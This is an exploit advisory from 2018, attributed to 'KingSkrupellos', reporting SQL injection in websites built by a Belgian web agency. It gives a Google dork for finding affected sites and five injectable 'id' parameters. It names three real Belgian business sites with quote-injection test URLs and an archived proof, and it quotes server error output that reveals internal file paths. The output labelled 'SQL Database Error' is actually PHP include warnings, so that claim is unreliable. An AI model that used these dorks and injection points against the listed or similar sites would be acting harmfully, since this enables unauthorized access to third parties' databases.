facebook facebook twitter rss

© Websites & Software Development - Akoni.be - 2017 Belgium SQL Injection Vulnerability

Author: KingSkrupellos , Published: 08-10-2018
#################################################################################################

# Exploit Title : © Websites & Software Development - Akoni.be - 2017 Belgium SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 04/10/2018
# Vendor Homepage : akoni.be
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]

#################################################################################################

# Google Dork :

intext:''© Websites & Software Development - Akoni.be - 2017''

# SQL Injection Exploit :

/nieuws.php?id=[SQL Injection]

/reageer.php?id=[SQL Injection]

/info.php?id=[SQL Injection]

/bericht.php?id=[SQL Injection]

/fotodetail.php?id=[SQL Injection]

#################################################################################################

# Example Vulnerable Sites =>

bartnaeyaert.be/nieuws.php?id=290%27 => [ Proof of Concept ] => archive.is/48gAF

floormasters.be/info.php?id=2%27

hondenharmonie.be/bericht.php?id=5%27

# SQL Database Error =>

Warning: include_once(Includes/info.php.inc.php): failed to open stream: No such file or directory in
/usr/home/floormast/www/index.php on line 12
Warning: include_once(): Failed opening 'Includes/info.php.inc.php' for inclusion
(include_path='.:/usr/local/share/pear') in /usr/home/floormast/www/index.php on line 12

Warning: include_once(Includes/nieuws.php.inc.php): failed to open stream:
No such file or directory in /customers/e/9/1/bartnaeyaert.be/httpd.www/index.php
on line 108 Warning: include_once(): Failed opening 'Includes/nieuws.php.inc.php' for inclusion
(include_path='.:/usr/share/php') in /customers/e/9/1/bartnaeyaert.be/httpd.www/index.php on line 108

Notice: Undefined variable: titel in /customers/c/c/c/hondenharmonie.be/httpd.www/Includes/blogbericht.inc.php on line 5

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################

Like us on Facebook :